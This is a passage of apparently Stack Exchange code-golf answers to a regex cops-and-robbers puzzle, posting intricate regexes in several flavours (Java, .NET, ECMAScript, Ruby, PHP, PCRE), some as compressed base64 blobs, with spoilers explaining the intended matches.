Python, 145475 bytes [cracked] Thanks to the Wumpus for teaching me the importance of checking our indices :) Same deal as last solution, only hopefully not broken this time. Raw regex: <http://pastebin.com/MReS2R1k> EDIT: It wasn't broken, but apparently it was still too easy. At least it wasn't solved "instantly" ;) [Answer] ## Java Pattern/Oracle implementation (75 chars/150 bytes UTF-16) [cracked] ### (Code name: Bad Coffee 101) This is the `Pattern` object, with `CANON_EQ` flag, to be used with `matches()` (implied anchor): ``` Pattern.compile("(\\Q\u1EBF\\\\E)?+[\\w&&[\\p{L1}]\\p{Z}]+|\\1[\uD835\uDC00-\uD835\uDC33]{1927027271663633,2254527117918231}", Pattern.CANON_EQ) ``` [**Test your key here on ideone**](http://ideone.com/fork/qfW4VI) There is guaranteed to be a key. Read the spoiler if you want some confirmation. > > As you can see, it is not a normal regex. However, it runs without `Exception` on Oracle's Java version 1.6.0u37 and Java version 1.7.0u11, and it should also run for the most current version at the time of writing. > > > This makes use of 4 bugs: `CANON_EQ`, captured text retention of failed attempt, lost character class and quantifier overflow. [Answer] # .NET flavor, 17,372 bytes [cracked] This is still an easy version. It needs more optimization to work with longer strings. xz base64: ``` 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 hA/chwEApy/HVbHEZ/sCAAAAAARZWg== ``` Ungolfed: ``` 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 ``` Tested on [RegexStorm](http://regexstorm.net/tester) and [this blog](http://derekslager.com/blog/posts/2007/09/a-better-dotnet-regular-expression-tester.ashx) and [RegExLib](http://regexlib.com/RETester.aspx) (with all options unchecked). > > The solution to this regex is the factorization of 5122188685368916735780446744735847888756487271329 = 2147852126374329492975359 \* 2384795779221263457172831, with the result encoded in base 289, least significant first. > > > > Each digit is firstly split into two base 17 numbers to make the calculations faster. This is also how the product is encoded in the regex. > > > > Each pair of digits in the two numbers is then multiplied into capture group `a0` to `a38`. Each of them is a digit of the product. The current position is kept track by `p` and `q`. And the carry is processed after the multiplication, while comparing the product. > > > > It is in base 289 because it was designed to accept two 1024 bit numbers, which has 128 base 256 digits each, and I didn't think of removing the comma so the full string with base 256 would be 257 characters. > > > > [The 1536 bit version is here](https://codegolf.stackexchange.com/a/39996/25180). It accepts two 768 bit numbers. The numbers in this easy version each has only 81 bits. > > > [Answer] ## ECMAScript flavour, 30 bytes [cracked] ``` ^((?![\t- ]|[^\s])(.)(?!\2))+$ ``` Here is a rather simple one for the robbers to crack. It's conceptually not too hard, but might require a little research (or scripting). I don't intend to list myself in the leaderboard, but if someone cracks it within 72 hours, this will count towards their robber's score. Tested on [Regex101](http://regex101.com/) and [RegExr](http://www.regexr.com/) using Chrome. Well, that was quick! > > The regex was supposed to match any string consisting of *distinct* non-ASCII whitespace characters. However, I forgot a `.*` before the `\2`, so it actually matches any string of non-ASCII whitespace, that doesn't contain two consecutive identical characters. There are 18 such characters in the Unicode range up to code point `0xFFFF`. The match posted by user23013 is one such string, consisting of 16 characters. > > > [Answer] # [Ruby-flavored](http://www.rubular.com), 24 bytes [cracked] ``` ^(?!.*(.+)\1)([\[\\\]]){256}$ ``` [Answer] ## PHP, 168 bytes [cracked by [nneonneo](https://codegolf.stackexchange.com/users/6699/nneonneo)] ``` ^((?![!?$]*[^!?$]))?(?:[^!]\2?+(?=(!*)(\\\3?+.(?!\3)))){4}(?(1)|Ha! No one will ever get this one...)|(?!(?1))\Q\1?!($!?)?\E\1?!($!?)?(?<!.{12})\Q(?=(?1))\E(?=(?1))!\?$ ``` Here is a [regex demo](http://regex101.com/r/pF8mA8/2). P.S. This game is hard. [Answer] # PCRE (1043 bytes) [cracked] After randomly generated regexes have failed me (the ideas were good, but I couldn't generate adequate problem instances), I've decided to hand craft this one. I dub it "A whole lot of rules to satisfy". ``` ^(?=^([^)(]*\(((?>[^)(]+)|(?1))*\)[^)(]*)*$)(?=^([^][]*\[((?>[^][]+)|(?3))*\][^][]*)*$)(?=^([^}{]*\{((?>[^}{]+)|(?5))*\}[^}{]*)*$)(?!^\(.*)(?!.*\(.{250}\).*)(?=.*\[.{250}\].*)(?=.*\{.{250}\}.*)(?=.*\[.\(\).\{\}.\].*)(?=.*\}...\[...\[...\]...\]...\{.*)(?=.*\(\(..\(\(.{68}\(\(\)\).{43}\)\)\)\).*)(?=.*\{..\{..\{.{65}\{\}\{\}.{33}\{\}.{107}\}\}.\}.*)(?=.*\[\{\{\[\(\{.*)(?=.*\[\[..\[.{6}\[.{6}\]\]...\]\].{6}\[..\]..\[\].*)(?=.*\]\]\}\}\}.\)\)\)\).{96}\]\}\}\]\]\]\}\]\]\].\)\]\].*)(?=.*\]..\).{6}\(.{7}\{.{5}\[...\[.{5}\{\[.*)(?=.*\[.{87}\{.{45}}{.{38}}.{27}\].*)(?=.*\(\{.{32}\(.{20}\{.{47}\].{43}\{\{.{25}\}\}.{18}\].{5}\}....\}.{5}\).*)(?=.*\{.{12}\(.{5}\(...\(...\{\[.\{\[\[.*)(?=.*\{\(.{21}\).{8}\}.{14}\[.{7}\]..\{.{5}\{\}....\}.*)(?=.*\(.\{.{49}\{.{16}\}.{25}\}.{66}\).*)(?!.*\(\{\(\(.*)(?!.*\(\)\[\].*)(?=(.*?\].*?\)){15,}.*)(?=(.*\[.*\(.*\{){5,9}.*)(?=.*\({3}.{105}\[{3}.{105}[^}{].*)(?=.*\(..\).{5}\(\)....\}\}\].\{\{\[.{22}\[.{35}\}\}\].*)(?!.*\(\(.{178}\])(?=(.*\[..\]){8,10}.*)(?!(.*\([^\(\)]{5}\(){4,}.*).{63}(.{6}).{130}\11.{51}$ ``` And expanded: ``` ^ (?=^([^)(]*\(((?>[^)(]+)|(?1))*\)[^)(]*)*$) (?=^([^][]*\[((?>[^][]+)|(?3))*\][^][]*)*$) (?=^([^}{]*\{((?>[^}{]+)|(?5))*\}[^}{]*)*$) (?!^\(.*) (?!.*\(.{250}\).*) (?=.*\[.{250}\].*) (?=.*\{.{250}\}.*) (?=.*\[.\(\).\{\}.\].*) (?=.*\}...\[...\[...\]...\]...\{.*) (?=.*\(\(..\(\(.{68}\(\(\)\).{43}\)\)\)\).*) (?=.*\{..\{..\{.{65}\{\}\{\}.{33}\{\}.{107}\}\}.\}.*) (?=.*\[\{\{\[\(\{.*) (?=.*\[\[..\[.{6}\[.{6}\]\]...\]\].{6}\[..\]..\[\].*) (?=.*\]\]\}\}\}.\)\)\)\).{96}\]\}\}\]\]\]\}\]\]\].\)\]\].*) (?=.*\]..\).{6}\(.{7}\{.{5}\[...\[.{5}\{\[.*) (?=.*\[.{87}\{.{45}}{.{38}}.{27}\].*) (?=.*\(\{.{32}\(.{20}\{.{47}\].{43}\{\{.{25}\}\}.{18}\].{5}\}....\}.{5}\).*) (?=.*\{.{12}\(.{5}\(...\(...\{\[.\{\[\[.*) (?=.*\{\(.{21}\).{8}\}.{14}\[.{7}\]..\{.{5}\{\}....\}.*) (?=.*\(.\{.{49}\{.{16}\}.{25}\}.{66}\).*) (?!.*\(\{\(\(.*) (?!.*\(\)\[\].*) (?=(.*?\].*?\)){15,}.*) (?=(.*\[.*\(.*\{){5,9}.*) (?=.*\({3}.{105}\[{3}.{105}[^}{].*) (?=.*\(..\).{5}\(\)....\}\}\].\{\{\[.{22}\[.{35}\}\}\].*) (?!.*\(\(.{178}\]) (?=(.*\[..\]){8,10}.*) (?!(.*\([^\(\)]{5}\(){4,}.*) .{63}(.{6}).{130}\11.{51} $ ``` Tested on [Regex101](http://regex101.com/) - depending on your computer you may need to up the max execution time. --- > > This regex encodes a whole bunch of rules that just need to be satisfied. Any solution will do, it's just finding one. > * The first three core rules require that, separately, all `([{` brackets need to be balanced within the key. > * Most expressions require that a certain "shape" needs to be in or not be in the key. For example, the 8th row requires something of the form `[.(.).]`. > * Rules like `(?=(.*\[.*\(.*\{){5,9}.*)`, for example, require that `[({` alternation happens at least 5 times. Note that this line in particular is bugged on many levels, unintentionally. > * The backreference `\11` requires one six-character substring to appear twice in particular positions. > > > > [Answer] # .NET flavour (7563 bytes) [cracked] *Inspired by [@user23013's idea](https://codegolf.stackexchange.com/a/39988/21487)* ``` ^(?:(?=1(?<1>){5632})|(?=0)).(?:(?=1(?<1>){79361})|(?=0)).(?:(?=1(?<1>){188421})|(?=0)).(?:(?=1(?<1>){164870})|(?=0)).(?:(?=1(?<1>){63496})|(?=0)).(?:(?=1(?<1>){116233})|(?=0)).(?:(?=1(?<1>){112138})|(?=0)).(?:(?=1(?<1>){47447})|(?=0)).(?:(?=1(?<1>){85005})|(?=0)).(?:(?=1(?<1>){17936})|(?=0)).(?:(?=1(?<1>){108053})|(?=0)).(?:(?=1(?<1>){88599})|(?=0)).(?:(?=1(?<1>){91672})|(?=0)).(?:(?=1(?<1>){178716})|(?=0)).(?:(?=1(?<1>){199710})|(?=0)).(?:(?=1(?<1>){166661})|(?=0)).(?:(?=1(?<1>){190496})|(?=0)).(?:(?=1(?<1>){184494})|(?=0)).(?:(?=1(?<1>){199203})|(?=0)).(?:(?=1(?<1>){116778})|(?=0)).(?:(?=1(?<1>){78891})|(?=0)).(?:(?=1(?<1>){192556})|(?=0)).(?:(?=1(?<1>){24995})|(?=0)).(?:(?=1(?<1>){1071})|(?=0)).(?:(?=1(?<1>){192561})|(?=0)).(?:(?=1(?<1>){108082})|(?=0)).(?:(?=1(?<1>){1593})|(?=0)).(?:(?=1(?<1>){26967})|(?=0)).(?:(?=1(?<1>){197983})|(?=0)).(?:(?=1(?<1>){97034})|(?=0)).(?:(?=1(?<1>){86965})|(?=0)).(?:(?=1(?<1>){60480})|(?=0)).(?:(?=1(?<1>){149571})|(?=0)).(?:(?=1(?<1>){100932})|(?=0)).(?:(?=1(?<1>){40519})|(?=0)).(?:(?=1(?<1>){173492})|(?=0)).(?:(?=1(?<1>){80972})|(?=0)).(?:(?=1(?<1>){115790})|(?=0)).(?:(?=1(?<1>){29265})|(?=0)).(?:(?=1(?<1>){91730})|(?=0)).(?:(?=1(?<1>){173140})|(?=0)).(?:(?=1(?<1>){52821})|(?=0)).(?:(?=1(?<1>){176726})|(?=0)).(?:(?=1(?<1>){170211})|(?=0)).(?:(?=1(?<1>){150105})|(?=0)).(?:(?=1(?<1>){23131})|(?=0)).(?:(?=1(?<1>){81503})|(?=0)).(?:(?=1(?<1>){77412})|(?=0)).(?:(?=1(?<1>){106086})|(?=0)).(?:(?=1(?<1>){4284})|(?=0)).(?:(?=1(?<1>){142610})|(?=0)).(?:(?=1(?<1>){167534})|(?=0)).(?:(?=1(?<1>){190577})|(?=0)).(?:(?=1(?<1>){147731})|(?=0)).(?:(?=1(?<1>){133748})|(?=0)).(?:(?=1(?<1>){194750})|(?=0)).(?:(?=1(?<1>){49257})|(?=0)).(?:(?=1(?<1>){49274})|(?=0)).(?:(?=1(?<1>){120767})|(?=0)).(?:(?=1(?<1>){172668})|(?=0)).(?:(?=1(?<1>){24703})|(?=0)).(?:(?=1(?<1>){108160})|(?=0)).(?:(?=1(?<1>){60546})|(?=0)).(?:(?=1(?<1>){56963})|(?=0)).(?:(?=1(?<1>){30340})|(?=0)).(?:(?=1(?<1>){95368})|(?=0)).(?:(?=1(?<1>){59530})|(?=0)).(?:(?=1(?<1>){53388})|(?=0)).(?:(?=1(?<1>){14477})|(?=0)).(?:(?=1(?<1>){28302})|(?=0)).(?:(?=1(?<1>){182927})|(?=0)).(?:(?=1(?<1>){59024})|(?=0)).(?:(?=1(?<1>){146200})|(?=0)).(?:(?=1(?<1>){153746})|(?=0)).(?:(?=1(?<1>){39571})|(?=0)).(?:(?=1(?<1>){134293})|(?=0)).(?:(?=1(?<1>){158362})|(?=0)).(?:(?=1(?<1>){170139})|(?=0)).(?:(?=1(?<1>){182940})|(?=0)).(?:(?=1(?<1>){7327})|(?=0)).(?:(?=1(?<1>){143525})|(?=0)).(?:(?=1(?<1>){119464})|(?=0)).(?:(?=1(?<1>){82090})|(?=0)).(?:(?=1(?<1>){170667})|(?=0)).(?:(?=1(?<1>){49522})|(?=0)).(?:(?=1(?<1>){69806})|(?=0)).(?:(?=1(?<1>){15535})|(?=0)).(?:(?=1(?<1>){16049})|(?=0)).(?:(?=1(?<1>){163358})|(?=0)).(?:(?=1(?<1>){181876})|(?=0)).(?:(?=1(?<1>){58044})|(?=0)).(?:(?=1(?<1>){16062})|(?=0)).(?:(?=1(?<1>){39616})|(?=0)).(?:(?=1(?<1>){31425})|(?=0)).(?:(?=1(?<1>){94404})|(?=0)).(?:(?=1(?<1>){86848})|(?=0)).(?:(?=1(?<1>){16589})|(?=0)).(?:(?=1(?<1>){195280})|(?=0)).(?:(?=1(?<1>){199377})|(?=0)).(?:(?=1(?<1>){43731})|(?=0)).(?:(?=1(?<1>){67534})|(?=0)).(?:(?=1(?<1>){106198})|(?=0)).(?:(?=1(?<1>){54999})|(?=0)).(?:(?=1(?<1>){52952})|(?=0)).(?:(?=1(?<1>){125828})|(?=0)).(?:(?=1(?<1>){169691})|(?=0)).(?:(?=1(?<1>){184542})|(?=0)).(?:(?=1(?<1>){177888})|(?=0)).(?:(?=1(?<1>){43233})|(?=0)).(?:(?=1(?<1>){127203})|(?=0)).(?:(?=1(?<1>){116518})|(?=0)).(?:(?=1(?<1>){117990})|(?=0)).(?:(?=1(?<1>){67815})|(?=0)).(?:(?=1(?<1>){62202})|(?=0)).(?:(?=1(?<1>){165611})|(?=0)).(?:(?=1(?<1>){197356})|(?=0)).(?:(?=1(?<1>){29933})|(?=0)).(?:(?=1(?<1>){90862})|(?=0)).(?:(?=1(?<1>){90863})|(?=0)).(?:(?=1(?<1>){149232})|(?=0)).(?:(?=1(?<1>){61681})|(?=0)).(?:(?=1(?<1>){137970})|(?=0)).(?:(?=1(?<1>){90357})|(?=0)).(?:(?=1(?<1>){47351})|(?=0)).(?:(?=1(?<1>){172509})|(?=0)).(?:(?=1(?<1>){78293})|(?=0)).(?:(?=1(?<1>){66303})|(?=0)).(?:(?=1(?<1>){66262})|(?=0)).(?:(?=1(?<1>){158471})|(?=0)).(?:(?=1(?<1>){5676})|(?=0)).(?:(?=1(?<1>){127242})|(?=0)).(?:(?=1(?<1>){51979})|(?=0)).(?:(?=1(?<1>){162060})|(?=0)).(?:(?=1(?<1>){27405})|(?=0)).(?:(?=1(?<1>){153874})|(?=0)).(?:(?=1(?<1>){150291})|(?=0)).(?:(?=1(?<1>){1814})|(?=0)).(?:(?=1(?<1>){193815})|(?=0)).(?:(?=1(?<1>){82200})|(?=0)).(?:(?=1(?<1>){59161})|(?=0)).(?:(?=1(?<1>){78620})|(?=0)).(?:(?=1(?<1>){123678})|(?=0)).(?:(?=1(?<1>){147232})|(?=0)).(?:(?=1(?<1>){71457})|(?=0)).(?:(?=1(?<1>){118562})|(?=0)).(?:(?=1(?<1>){129830})|(?=0)).(?:(?=1(?<1>){161841})|(?=0)).(?:(?=1(?<1>){60295})|(?=0)).(?:(?=1(?<1>){165426})|(?=0)).(?:(?=1(?<1>){107485})|(?=0)).(?:(?=1(?<1>){171828})|(?=0)).(?:(?=1(?<1>){166200})|(?=0)).(?:(?=1(?<1>){35124})|(?=0)).(?:(?=1(?<1>){160573})|(?=0)).(?:(?=1(?<1>){7486})|(?=0)).(?:(?=1(?<1>){169279})|(?=0)).(?:(?=1(?<1>){151360})|(?=0)).(?:(?=1(?<1>){6978})|(?=0)).(?:(?=1(?<1>){136003})|(?=0)).(?:(?=1(?<1>){56133})|(?=0)).(?:(?=1(?<1>){8520})|(?=0)).(?:(?=1(?<1>){87436})|(?=0)).(?:(?=1(?<1>){57162})|(?=0)).(?:(?=1(?<1>){197965})|(?=0)).(?:(?=1(?<1>){145230})|(?=0)).(?:(?=1(?<1>){95459})|(?=0)).(?:(?=1(?<1>){180564})|(?=0)).(?:(?=1(?<1>){157850})|(?=0)).(?:(?=1(?<1>){109399})|(?=0)).(?:(?=1(?<1>){191832})|(?=0)).(?:(?=1(?<1>){110223})|(?=0)).(?:(?=1(?<1>){75102})|(?=0)).(?:(?=1(?<1>){140639})|(?=0)).(?:(?=1(?<1>){49504})|(?=0)).(?:(?=1(?<1>){197987})|(?=0)).(?:(?=1(?<1>){52744})|(?=0)).(?:(?=1(?<1>){96615})|(?=0)).(?:(?=1(?<1>){13672})|(?=0)).(?:(?=1(?<1>){73068})|(?=0)).(?:(?=1(?<1>){104814})|(?=0)).(?:(?=1(?<1>){66929})|(?=0)).(?:(?=1(?<1>){23410})|(?=0)).(?:(?=1(?<1>){122686})|(?=0)).(?:(?=1(?<1>){44918})|(?=0)).(?:(?=1(?<1>){101752})|(?=0)).(?:(?=1(?<1>){3961})|(?=0)).(?:(?=1(?<1>){31807})|(?=0)).(?:(?=1(?<1>){54933})|(?=0)).(?:(?=1(?<1>){140096})|(?=0)).(?:(?=1(?<1>){49026})|(?=0)).(?:(?=1(?<1>){5507})|(?=0)).(?:(?=1(?<1>){96132})|(?=0)).(?:(?=1(?<1>){167303})|(?=0)).(?:(?=1(?<1>){57877})|(?=0)).(?:(?=1(?<1>){88461})|(?=0)).(?:(?=1(?<1>){111853})|(?=0)).(?:(?=1(?<1>){126531})|(?=0)).(?:(?=1(?<1>){110998})|(?=0)).(?:(?=1(?<1>){7575})|(?=0)).(?:(?=1(?<1>){7064})|(?=0)).(?:(?=1(?<1>){59289})|(?=0)).(?:(?=1(?<1>){122203})|(?=0)).(?:(?=1(?<1>){175005})|(?=0)).(?:(?=1(?<1>){28025})|(?=0)).(?:(?=1(?<1>){49057})|(?=0)).(?:(?=1(?<1>){6373})|(?=0)).(?:(?=1(?<1>){50084})|(?=0)).(?:(?=1(?<1>){70565})|(?=0)).(?:(?=1(?<1>){75178})|(?=0)).(?:(?=1(?<1>){142763})|(?=0)).(?:(?=1(?<1>){56237})|(?=0)).(?:(?=1(?<1>){32176})|(?=0)).(?:(?=1(?<1>){113073})|(?=0)).(?:(?=1(?<1>){149939})|(?=0)).(?:(?=1(?<1>){16308})|(?=0)).(?:(?=1(?<1>){12725})|(?=0)).(?:(?=1(?<1>){75190})|(?=0)).(?:(?=1(?<1>){54711})|(?=0)).(?:(?=1(?<1>){180664})|(?=0)).(?:(?=1(?<1>){68540})|(?=0)).(?:(?=1(?<1>){93117})|(?=0)).(?:(?=1(?<1>){161781})|(?=0)).(?:(?=1(?<1>){15808})|(?=0)).(?:(?=1(?<1>){130814})|(?=0)).(?:(?=1(?<1>){162379})|(?=0)).(?:(?=1(?<1>){80836})|(?=0)).(?:(?=1(?<1>){149943})|(?=0)).(?:(?=1(?<1>){16841})|(?=0)).(?:(?=1(?<1>){149452})|(?=0)).(?:(?=1(?<1>){182733})|(?=0)).(?:(?=1(?<1>){56270})|(?=0)).(?:(?=1(?<1>){163792})|(?=0)).(?:(?=1(?<1>){34770})|(?=0)).(?:(?=1(?<1>){101843})|(?=0)).(?:(?=1(?<1>){199124})|(?=0)).(?:(?=1(?<1>){129493})|(?=0)).(?:(?=1(?<1>){43990})|(?=0)).(?:(?=1(?<1>){113112})|(?=0)).(?:(?=1(?<1>){71129})|(?=0)).(?:(?=1(?<1>){61402})|(?=0)).(?:(?=1(?<1>){145852})|(?=0)).(?:(?=1(?<1>){98781})|(?=0)).(?:(?=1(?<1>){141790})|(?=0)).(?:(?=1(?<1>){163235})|(?=0)).(?:(?=1(?<1>){110566})|(?=0)).(?:(?=1(?<1>){117737})|(?=0)).(?:(?=1(?<1>){67050})|(?=0)).(?:(?=1(?<1>){68075})|(?=0)).(?:(?=1(?<1>){124047})|(?=0)).(?:(?=1(?<1>){181587})|(?=0)).(?:(?=1(?<1>){125429})|(?=0)).(?:(?=1(?<1>){112118})|(?=0)).(?:(?=1(?<1>){196088})|(?=0)).(?:(?=1(?<1>){25082})|(?=0)).